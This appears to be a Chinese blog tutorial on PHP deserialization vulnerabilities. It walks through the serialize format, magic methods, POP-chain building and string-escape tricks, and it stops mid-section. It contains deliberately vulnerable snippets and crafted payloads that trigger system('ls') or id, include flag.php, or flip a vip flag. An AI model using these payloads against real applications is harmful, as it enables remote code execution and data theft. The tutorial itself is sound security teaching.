0%

php反序列化知识点以及专题练习

类与对象

类是对象的抽象,而对象是类的具体实例
类是想法,把类实例化(new),调用具体值后就变成了对象

类的结构

类:定义类名,定义成员变量(属性),定义成员函数(方法)

1
2
3
4
class Class_Name{
//成员变量声明
//成员函数声明
}

类的内容

创建一个类

1
2
3
4
5
6
7
8
class hero{
var $name;
var $sex;
function jineng($var1){
echo $this->name;
echo $var1;
}
}
1
2
3
4
5
6
7
定义类(类名){
//声明成员变量
var为一种修饰符
//声明成员函数(方法)
使用预定义$this调用成员变量
成员函数传参$var1可直接调用
}

实例化和赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class hero{
var $name='kkk';#预定义一个名字,没事,实例化之后能改
var $sex;
var $who_s_gi;
function jineng($var1){
echo $this->name;
echo $var1;
}
}
$gcx=new hero();#实例化hero()为对象cyj
#实例化之后若不调用成员方法,那就只会序列化成员属性,成员方法是调用才会有
$gcx->name='3a0';#参数赋值
$gcx->sex='woman';
$gcx->jineng('xx');#调用函数
print_r($gcx);#打印对象gcx,这里是不能使用echo之类的,建议是使用var_dump或者print_r

输出结果为

1
2
3
4
5
6
3a0xxhero Object
(
[name] => 3a0
[sex] => woman
[who_s_gi] =>
)

这里的3a0xx为function函数的输出
后面的hero object是对类的成员属性的序列化

类的修饰符的介绍

在类中直接声明的变量称为成员属性(也可以称为成员变量)
可以在类中声明多个变量,即”对象”中可以有多个成员属性,每个变量都都存储对象的不同的属性信息

  1. 访问权限修饰符:对属性的定义

常用访问权限修饰符:
public:公共的,在类的内部,子类中,或者类的外部都可以使用,不受限制
protected:受保护的,在类的内部,子类中可以使用,但不能在类的外部使用
private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用

1
2
3
4
5
6
7
8
9
10
11
12
13
class hero{
public $name='gcx'
private $sex='girl'
protected $shengao='160'
function jineng($var1){
echo $this->name;
echo $var1;
}
}
$gcx=new hero();
echo $gcx->name;
echo $gcx->sex;
echo $gcx->shengao;

你这个直接运行的话就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[{
"resource": "/F:/Blog/source/_posts/1.php",
"owner": "_generated_diagnostic_collection_name_#3",
"code": "P1014",
"severity": 8,
"message": "Undefined property '$sex'.",
"source": "intelephense",
"startLineNumber": 13,
"startColumn": 12,
"endLineNumber": 13,
"endColumn": 15,
"origin": "extHost1"
}]
[{
"resource": "/F:/Blog/source/_posts/1.php",
"owner": "_generated_diagnostic_collection_name_#3",
"code": "P1014",
"severity": 8,
"message": "Undefined property '$shengao'.",
"source": "intelephense",
"startLineNumber": 14,
"startColumn": 12,
"endLineNumber": 14,
"endColumn": 19,
"origin": "extHost1"
}]

显示说这两个都还没定义

子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class hero{
public $name='gcx';#公有的
private $sex='girl';#私有的
protected $shengao='160';#受保护的:内部与子类可用
function jineng($var1){
echo $this->name;
echo $var1;
}
}
class hero2 extends hero{
#hero2是hero的子类,可以继承一些成员变量
function test(){
echo $this->name;#public成员变量,子类可用
echo $this->sex;#private成员变量,子类不可用
echo $this->shengao;#protected成员变量,子类可用
}
}
$gcx=new hero();
$gcx2=new hero2();
echo $gcx->name;#外部调用父类,只能用public的成员变量
echo $gcx2->test();#外部调用子类的成员方法,子类的成员方法会从父类内部调用public和protected的成员变量,然后再被外部调用

类的成员方法

在类中定义的函数被称为成员方法

函数实现的是某个独立的功能
成员方法实现是类中的一个行为,是类的一部分

可用在类中声明多个成员方法,成员方法的声明和函数声明完全一样,只不过在声明成员方法时可用在function关键字前加一些访问权限修饰符,如public,protected,private(可省略,默认为public)

序列化基础知识

序列化的作用

序列化是将对象的状态信息(属性)转换为可用存储或者传输的形式的过程
对象->序列化->字符串
将对象或者数组转化为可存储,可传输的字符串

序列化之后的表达方式/格式

1
2
3
4
<?php
$a=null;
echo serialize($a);
?>

输出

1
N;

以此为例
注意后面的;是一定要带的,这才是完整的格式
空字符 null->N;
整形 666->i:666;
浮点型 66.6-> d:66.6;
Boolean型 true->b:1;
false->b:0;
字符型 ‘gcx’->s:3:”gcx”; 这里的3是字符的长度,而且最后序列化的字符串是双引号包裹
此处可用用于利用字符串逃逸
exp
‘g”cx’->s:4:”g”cx”;
这里的4是指字符g”cx但是由于闭合符和字符的内容相同可用构造字符串逃逸,这个后续会说

数组序列化

1
2
3
4
5
<?php
$a=array('gcx','3a00','kk');
//echo $a[0];
echo serialize($a);
?>

输出结果

1
2
a:3:{i:0;s:3:"gcx";i:1;s:4:"3a00";i:2;s:2:"kk";}
//a就是array,3就代表数组一共有三个参数,i就是对应的编号i:0就是数组的第一个元素gcx,i:1就是数组的第二个元素3a00,以此类推

对象序列化

  1. public成员变量序列化
1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $pub='gcx';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>

输出结果

1
2
O:4:"test":1:{s:3:"pub";s:3:"gcx";}
//O代表object:4类名长度:"test"类名:1变量数量(成员属性数量):{s:3变量名字长度:"pub"变量名字;s:3值的长度:"gcx"变量值;}
  1. private成员变量序列化
1
2
3
4
5
6
7
8
9
10
<?php
class test{
private $pub='gcx';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>

输出结果

1
2
3
4
5
O:4:"test":1:{s:9:"testpub";s:3:"gcx";}
//私有属性在序列化的时候为了能体现出当前是类的私有属性,会在私有变量名的前面加上当前的类名,也就是此处testpub的由来
//但是这里的testpub一共7个字符,显示出来却有9个,可以看下图的运行结果
//显示9个的原因就是因为private私有属性序列化的时候会把变量名加成"%00类名%00"(这里的%00也就是下图中的NULL)
//所以是%00test%00pub,一共9个字符(%00算一个字符)

实际上是
alt text
null用urlencode一下其实就是%00

  1. protected成员变量序列化
1
2
3
4
5
6
7
8
9
10
<?php
class test{
protected $pub='gcx';
function jineng(){
echo $this->pub;
}
}
$a=new test();
echo serialize($a);
?>

输出结果为
alt text

1
2
3
//和private类似,就是用%00包起来的不是类名,而是*,用于声明这个是受保护变量
O:4:"test":1:{s:6:"%00*%00pub";s:3:"gcx";}
//有了之前的经验,这里s:6的6也很好解释了
  1. 对象里面调用对象序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test{
var $pub='eminem';
function jineng(){
echo $this->pub;
}
}
class test2{
var $ben;
function __construct(){
$this_>ben=new test();
}
}
$a=new test2();//对象$a在实例化类'test2'时调用另一个类'test'实例化后的对象
echo serialize($a);
//或许有人不知道__construct魔术方法
//当你用 new 类名(参数…) 实例化一个对象时,PHP 会自动调用该类(或其最近定义的父类)中的 __construct() 方法,并将 new 时传入的参数一一传递给它。
?>

输出结果

1
2
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"eminem";}}
//这里就直接把实例化后的test当作ben的值也给序列化了(或许在构造pop链的时候会很常用?)

此处注意
不能序列化类,可以序列化对象
补序列化成员函数,只序列化成员变量

反序列化的特性

反序列化后的内容为一个对象
反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关
反序列化不触发类的成员方法,需要调用方法后才能触发

showtime

反序列化后的内容为一个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a='3a0';
protected $b=666;
private $c=false;
public function displayVar(){
echo $this->a;
}
}
$d=new test();
$d=serialize($d);
echo urlencode($d);
$a=urlencode($d);
$b=unserialize(urldecode($a));
var_dump($b);
?>

输出结果

1
2
3
4
5
6
7
8
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A3%3A%223a0%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7Dobject(test)#1 (3) {
["a"]=>
string(3) "3a0"
["b":protected]=>
int(666)
["c":"test":private]=>
bool(false)
}

这里为了防止null空格丢失,使用url编码了一下,这样子在反序列化的时候,序列化的null空格就不会丢失

可以看到返回的结果确实为一个对象

反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test{
public $a='3a0';
protected $b=666;
private $c=false;
public function displayVar(){
echo $this->a;
}
}
$d=new test();
$d=serialize($d);
var_dump($d);
//$a=urlencode($d);
//$b=unserialize(urldecode($a));
//var_dump($b);
?>

正常情况下搞出来的序列化内容为

1
string(68) "O:4:"test":3:{s:1:"a";s:3:"3a0";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}"

我们这里随便改,比如把3a0改成kkk,然后再url编码解码之后送去反序列化,出来的结果是kkk而不是3a0(感觉我在说废话,在水博客长度)

反序列化不触发类的成员方法,需要调用方法后才能触发

在以上的过程中都没有触发过成员方法,那么该如何去触发成员方法呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
public $a='3a0';
protected $b=666;
private $c=false;
public function displayVar(){
echo $this->a;
}
}
$d='O:4:"test":3:{s:1:"a";s:3:"kkk";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$e=urldecode($d);
$f=unserialize($e);
$f->displayVar();
?>

在这里很显然的,原类里是定义3a0,我反序列化后定义成为kkk,最后调用成员函数的时候,输出来的是kkk

这个可以说是调用方法和”反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关”这句话的生动解释

反序列化漏洞了解

反序列化漏洞成因

反序列化过程中,unserialize()接受到的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值

然后通过调用方法触发代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
public $a='echo "this is test";';
public function displayVar(){
eval($this->a);
}
}
$c= new test();
$c->displayVar();

$get=$_GET["data"];
$b=unserialize($get);
$b->displayVar();
?>

$c调用的那个方法会直接输出this is test
$b那里是我们自己可控的,get传一个序列化的值,后面再打反序列化达到RCE目的

1
'O:4:"test":1:{s:1:"a";s:13:"system("ls");"}'

这个就能很自然的构造出来了

魔术方法简介

魔术方法:一个预定义好的,在特定情况下自动触发的行为方法

魔术方法的作用:魔术方法在特定条件下自动调用相关方法,最终导致触发代码

魔术方法的相关机制:触发时机(动作不同,触发的魔术方法也不同)->功能->参数(一些特殊魔术方法会传参)->返回值

分析触发时机最为关键

先列个表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct() //类构建函数
__destruct() //类的析构函数
__call() //在对象中调用一个不可以访问方法时调用
__callStatic() //用静态方式中调用一个不可以访问方法时调用
__get() //获得一个类的成员变量时调用
__isset() //当对不可访问属性调用isset()或empty()时调用
__set() //设置一个类的成员变量时调用
__unset() //当对不可访问属性调用unset()时被调用
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //执行unserialize()时,会先调用这个函数
__toString() //类被当成字符串时的回应方法
__invoke() //调用函数的方式调用一个对象时的回应方法
__set_state() //调用var_export()导出类时,此静态方法被调用
__clone() //当对象复制完成时调用
__autoload() //尝试加载未定义的类
__debugInfo() //打印所需调式信息

__construct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class user{
public $username;
public function __construct($username){
$this->username=$username;
echo "触发了一次构造函数";
}
}
$test=new user("kkk");//实例化对象时触发构造函数__construct()
$ser=serialize($test);//序列化无法触发__construct()
unserialize($ser);//反序列化无法触发__construct()

?>
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
返回值:

__destruct()

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

1
2
3
4
5
6
7
8
9
10
<?php
class user{
public function __destruct(){
echo "触发了析构函数一次";
}
}
$test=new user("3a0");//实例化对象结束后,代码运行完全销毁,触发析构函数__destruct(){注意这里不是new会触发,而是new后的自动销毁会触发}
$ser=serialize($test);
unserialize($ser);//反序列化也会触发__destruct(),而且是在反序列化之后触发
?>
1
2
3
4
5
6
7
8
9
10
<?php
class user{
var $cmd="echo '3a0';";
public function __destruct(){
eval ($this->cmd);
}
}
$ser=$_GET['data'];
unserialize($ser);
?>

那很显然了,在反序列化的时候会把data给反序列化,同时会调用到析构函数,然后就可以把反序列化后的内容丢给cmd,成员方法那里再调用cmd,就可以实现rce
简单来说就是
unserialize()触发__destrcut()
destruct()执行eval()
eval()触发代码

1
O:4:"user":1:{s:3:"cmd";s:13:"system("ls");";}

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法会先被调用,然后才执行序列化操作(sleep在前,序列化在后)
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
如果该方法未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误

触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性
参数:成员属性
返回值:需要被反序列化存储的成员属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class user{
const SITE='uusame';
public $username;
public $nickname;
private $password;
public function __construct($username,$nickname,$password){
$this->username=$username;
$this->nickname=$nickname;
$this->password=$password;
}
public function __sleep(){
return array('username','nickname');
}
}
$user=new user('a','b','c');
echo serialize($user);

?>

返回结果

1
O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

得以验证我们刚才对__sleep()的说法(做反序列化的时候password被__sleep()清除了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class user{
const SITE='uusame';
public $username;
public $nickname;
public $password;
public function __construct($username,$nickname,$password){
$this->username=$username;
$this->nickname=$nickname;
$this->password=$password;
}
public function __sleep(){
system($this->username);
}
$cmd=$_GET['3a0'];
$user=new user('$cmd','b','c');
echo serialize($user);//序列化的时候直接调用__sleep()去system执行
}
?>

这都不用想的,直接打?3a0=id什么的就可以了

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法
如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源,预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作

触发时机:反序列化unserialize()之前
功能:
参数:
返回值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class user{
const SITE='uusame';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup(){
$this->password=$this->username;//反序列化之前触发wakeup,给password赋值
}
}
$user_ser='O:4:"user":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b"}';//这里的字符串里并没有对password进行操作
var_dump(unserialize($user_ser));//反序列化返回的结果里包含password的值
?>
1
2
3
4
5
6
7
8
9
10
object(user)#1 (4) {
["username"]=>
string(1) "a"
["nickname"]=>
string(1) "b"
["password":"user":private]=>
string(1) "a"
["order":"user":private]=>
NULL
}

看输出结果就很容易发现__wakeup()被调用了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class user{
const SITE="uusame";
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup(){
system($this->username);
}
}
$user_ser=$_GET['3a0'];
unserialize($user_ser);
?>

实则还是要锻炼一下自己徒手构造payload的能力

1
O:4:"user":1:{s:8:"username";s:2:"id";}

__toString()

表达方式错误导致触发

触发时机:把对象当成字符串调用
(常用于pop链的构造)

1
2
3
4
5
6
7
8
9
10
11
<?php
class user{
var $pp="this is test";
public function __toString(){
return "最唐";
}
}
$test= new user();
print_r($test);
echo $test;
?>

输出结果为

1
2
3
4
5
ser Object
(
[pp] => this is test
)
最唐

上面就是正常的输出这个对象
下面echo就是把这个对象当成字符串输出,所以输出了”最唐”

把类user实例化并赋值给$test,此时$test是个对象,调用对象可以使用print_r或者var_dump
如果使用echo或者print只能调用字符串的方法去调用对象,即把对象当成字符串使用,此时自动触发toString()

__invoke()

格式表达错误导致魔术方法触发

触发时机:把对象当成函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function dsb(){
echo '这个是函数';
}

class user{
var $kk="这个是测试";
public function __invoke(){
echo "这个不是函数";
}
}
$test= new user();
var_dump($test);
$test();
print("\n");
dsb();
?>

输出

1
2
3
4
5
6
object(user)#1 (1) {
["kk"]=>
string(15) "这个是测试"
}
这个不是函数
这个是函数

上面就是正常调用正常返回
中间那个因为我们直接$test(),就相当于直接把这个类当成函数来用了,所以就触发了__invoke()
底下那个是我们正常调用一个正常函数返回的结果

错误调用相关魔术方法

__call()

触发时机:调用一个不存在的方法
参数:2个参数传参$arg1,$arg2
返回值:调用不存在的方法的名称和参数

1
2
3
4
5
6
7
8
9
10
<?php
class user{
public function __call($arg1,$arg2){
echo "$arg1,$arg2[0]";
}
}

$test=new user();
$test->callxxx('a');
?>

输出结果

1
callxxx,a

很显然:
调用的方法callxxx()不存在,触发魔术方法call(),传参$arg1,$arg2,即(callxxx,a),然后返回
$arg1调用的不存在的方法的名称
$arg2调用的不存在的方法的参数

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在
参数:两个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数

1
2
3
4
5
6
7
8
9
<?php
class user{
public function __callStatic($arg1,$arg2){
echo "$arg1,$arg2[0]";
}
}
$test=new user();
$test::callxxx('a');
?>

在较低版本中是允许的,返回

1
callxxx,a

对于目前版本来说就直接报错了(因为这里不是静态调用)

_get()

触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
<?php
class user{
public $var1;
public function __get($arg1){
echo $arg1;
}
}
$test=new user();
$test->var2;
?>

返回结果

1
var2

这个就不多讲,太简单了

__set()

触发时机:给不存在的成员属性赋值
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值

1
2
3
4
5
6
7
8
9
10
<?php
class user{
public $var1;
public function __set($name, $value)
{
echo "Setting '$name' to '$value'\n";
}
}
$test=new user();
$test->var2="test";

返回结果为

1
Setting 'var2' to 'test'

__isset()

触发时机:对不可访问或不存在属性使用isset()或empty()时,__isset()会被调用
参数:传参$arg1
返回值:不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
<?php
class user{
private $var1;
public function __isset($arg1)
{
echo $arg1;
}
}
$test=new user();
isset($test->var1);

输出结果为

1
var1

因为private属性不可访问

__unset()

触发时机:对不可访问或不存在属性unset()时
参数:传参$arg1
返回值:不可访问或不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
<?php
class user{
private $var1;
public function __unset($arg1)
{
echo $arg1;
}
}
$test=new user();
unset($test->var1);

返回结果为

1
var1

__clone()

触发时机:当使用clone关键字拷贝完成一个对象之后,新对象会自动调用定义的魔术方法__clone()

1
2
3
4
5
6
7
8
9
10
<?php
class user{
private $name;
public function __clone(){
echo "__clone test";
}
}
$test=new user();
$newclass=clone($test);
?>

返回结果

1
__clone test

pop链前置知识

拿一道例题来引入知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class index{
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal{
public function action(){
echo "Hello, World!";
}
}
class evil{
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>

先来分析一下,由于这个过于简单,我就不专门去搭个docker了
index类里面有两个方法,一个实例化normal,还有一个把test赋值给action方法
而action方法在normal和evil类中都能见到,但是normal类在上面直接实例化了,然后触发了__construct魔术方法(假如有被实例化是这样,这里只是插嘴一下,反正你要认识到这里不是搓链子的入手点)输出hello world
剩下一个evil类定义的action方法了,这里链子就很明了了
反序列化的时候会自动调用__destruct魔术方法
那么就是我们传入的test要为evil这个类,然后这个类给__destruct,destruct再通过evil这个类调用action,这里被调用的只能是evil中的action,然后eval执行rce
test2的值很明显就是我们要搓进去的system(‘ls’)

这里就不徒手构造了,搓个小本,逻辑这么明朗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class index{
private $test;
public function __construct(){
$this->test=new evil();
}
}

class evil{
var $test2="system('ls');";
}
$a=new index();
echo urlencode(serialize($a));

?>

仔细看就能发现是从题目中改过来的
实例化自动调用__cinstruct()方法,然后$a就为实例化对象index(),其中成员熟悉$test=new evil(),$test为实例化对象evil(),成员属性$test2=”system(‘ls’);”

pop链前置知识-魔术方法触发规则

魔术方法的触发前提:魔术方法所在的类(或对象)被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class fast{
public $source;
public function __wakeup(){
echo "wakeup is here";
echo $this->source;
}
}
class sec{
var $benben;
public function __tostring(){
return "tostring is here";
}
}
$b=$_GET['3a0'];
unserialize($b);
?>

我们的目的就是为了使其输出”tostring is here”

那么就有必要调用到__tostring(),当一个实例化的对象用echo输出时,那么就会调用到__tostring()tostring中得使用return来输出字符串,而不是echo,用echo在当前版本下会报错

我们这里一眼就可以指导是要在source处传入一个实例化的sec,这样子在反序列化的时候调用到__wakeup,而source的值又是一个实例化的类,那么就可以调用到sec的__tostring()方法,实现我们的目的

那搓脚本的思路也很明确了,是个简单的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class fast{
public $source;
}
class sec{
var $benben;
}

$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>

要打的payload

1
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

pop链构造与poc编写

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫做“面向属性编程”,即pop

pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class modifier{
private $var;
public function append($value){
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class show{
public $source;
public $str;
public function __tostring(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}

}
class test{
public $p;
public function __construct(){
$this->p=array();
}
public function __get($key){
$function=$this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

提示是说flag在flag.php中

通过观察,我们可以用append这个成员方法,include来包含到flag.php页面,echo出flag,一步一步倒推出来,思路应该是

  1. 调用echo,调用$flag
  2. 触发invoke,调用append,并且使$var=flag.php
  3. invoke触发条件:把对象当成函数
  4. 注意到test类中的$function,最后会被return出来,那么给赋值为对象,function也会成为对象(这里肯定是赋modifier这个对象),但是modifier被当成函数调用,那么就可以触发modifier中的invoke
  5. 要完成第四步,那么我们就需要触发get方法
  6. get方法触发条件:调用不存在的成员属性
  7. 注意到show类,给$str赋值为对象test,而test中没有成员属性source,那么就可以触发get
  8. 为了使get被触发,那么toString也得要被触发
  9. toString触发条件:把对象当成字符串
  10. 把show对象赋值给source,那么在wakeup中对象就会被当成字符串来echo,触发toString
  11. 在反序列化的时候自动触发wakeup,链子成立

那开始改改搓搓

  1. 其他成员方法在序列化时不会触发,都可以删掉
  2. 实例化对象时会触发construct,必须删掉

接下来正向推导即可

  1. 触发invoke,使$var=flag.php
  2. 触发get,给$p赋值为对象modifier
  3. 触发toString,给$str赋值为对象test
  4. 触发wakeup,给$source赋值为对象show
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class modifier{
private $var='flag.php';
}

class show{
public $source;
public $str;
}

class test{
public $p;
}

$mod=new modifier();
$test=new test();
$test->p=$mod;
$show=new show();
$show->source=$show;
$show->str=$test;
echo serialize($show);
?>

结束了,这个还是比较简单的,接下来会比较有难度一点

字符串逃逸基础

反序列化分隔符
反序列化以;}结尾,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $v1="a";
}
echo serialize(new A());
//输出O:1:"A":1:{s:2:"v1";s:1:"a";}
$b='O:1:"A":1:{s:2:"v1";s:2:"v2";N}';//一眼就知道这里是错的,但是这里做个实验
var_dump(unserialize($b););
?>
//这里对b进行小小的修改,执行就会报错
'''O:1:"A":1:{s:2:"v1";s:1:"a";}
Warning: unserialize(): Error at offset 29 of 31 bytes in C:\Users\3a0\Desktop\1.php on line 8
bool(false)
'''

理由也很简单,大家都看出来了这里的成员属性数量不对
同样的道理,在反序列化的时候成员属性的字符串长度也是得要保持一致的
在上文我们提到过一个通过符号”来导致字符串逃逸的手段

1
2
3
4
5
6
7
8
<?php
class A{
public $v1="a\"b";
}
echo serialize(new A());
?>
//O:1:"A":1{s:2:"v1";s:3:"a"b";}
//上面"被\转义了,所以这里是s:3:"a"b"

这里a与b中的”是字符还是格式符号,是通过字符串长度3来判断的

在前面的字符串没有问题的情况下

  1. 成员属性数量一致
  2. 成员属性名称长度一致,内容长度一致
    那么;}是反序列化结束符,后面的字符串不影响反序列化结果

属性逃逸(字符串减少逃逸)

一般在数据先经过一次serialize再经过unserialize,在中国中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸

1
2
3
4
5
6
7
8
9
<?php
class A{
public $v1="abcsystem()";
public $v2="123";
}
$data=serialize(new A());
$data=str_replace("system()","",$data);
var_dump(unserialize($data));
?>

var_dump出来的结果肯定是不成功的,字符串缺失导致格式被破坏

1
O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}

会变成

1
O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

前情提要,我们判断一个符号是格式符号还是只是一个普通的字符,靠的就是字符串长度的那个数字限制

1
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";}

那么system()被删了,但是?仍然存在,那么是否有可能构造出恰好任意字符的s:2:”v2”;s:3,这样子就直接吧限制给它变成普通的字符串,后面的”123”处就可以改成系统命令来执行了(此处已经是脱离了限制,因为限制被前面的那个?吃了)

1
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}

这个是一个逃逸的例子
这里的xx代表的是一个二位数,因为我们在实际逃逸的时候,写个系统命令起码都要二位数的字符串长度,所以这里用xx代替了(反正都要被变成普通字符串,写成xx
也不会怎么样)

1
abc";s:2:"v2";s:xx:"

这段内容是需要我们去通过长度限制变成普通字符串的,一共是20个字符,然后释放出后面的

1
;s:2:"v3";N;

前面一共需要吃掉20个字符,吃掉一个system()8个,除去abc需要吃掉17个字符,所以至少要去掉3个system(),包括上abc,一共是3*8+3,要吃掉27个字符,多吃掉了7个,所以还需要再v2中补充7个字符(直接补上1234567)
payload

1
O:1"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

经过过滤之后就是

1
O:1"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
1
abc";s:2:"v2";s:21:"1234567

这一段已经被变成普通字符串了,那么后面的

1
s:2:"v3";N;}//这一段你也可以改成你想执行的系统命令,爱改成什么就改成什么

就逃逸出来了
最后的那个我们在前置知识里说过了,不会起任何作用

1
";}

减少逃逸例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip=false;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));


if($profile->vip){
echo file_get_contents("flag.php");
}
?>

简单代审计之后就知道这里主要是要$vip=true

1
2
3
4
5
6
7
8
<?php
class test{
var $user="flag";
var $pass="benben";
var $vip=true;
}
echo serialize(new test());
?>
1
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

根据这个,我们来把后面不重要的pass吃掉

1
";s:4:"pass";s:6:"

上面这一段是我们需要吃掉的,然后benben是我们可控的,可以逃逸
但是这样子的话成员属性会少一个
所以我们要把benben换成

1
";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

要逃逸的字符串一共是19位,吃一个flag会少2字符,所以要吃10个flag,然后剩余的那一位可以补上1(这个就是保留;”的优越性,可以缺几个就在前面补几个)
所以最后提交的内容是

1
2
user=flag*10;
pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

pass这里的1就是用来补位的

总结:
多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,再第二个字符串构造代码

字符串增多逃逸

上一个是字符串减少逃逸
反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码

现在来讲讲增多逃逸

反序列化字符串增多逃逸:构造出一个逃逸成员属性,第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

1
2
3
4
5
6
7
8
9
10
11
<?php
class A{
public $v1='ls';
public $v2='123';
}
$data=serialize(new A());
echo $data;
$data=str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));
?>

运行结果自然是false

1
2
3
4
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
Warning: unserialize(): Error at offset 27 of 50 bytes in C:\Users\caochuhan\Desktop\1.php on line 11
bool(false)

由于把ls换成pwd,字符增多,会把末尾多出来的字符挤出

那么按上面减少逃逸的思路,我们就可以有另外一种针对于增多的思路

1
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

思路:把吐出来的字符构造成功能性代码
比如下面,我们构造了一个可以逃逸出v3,并且赋值为666的payload

1
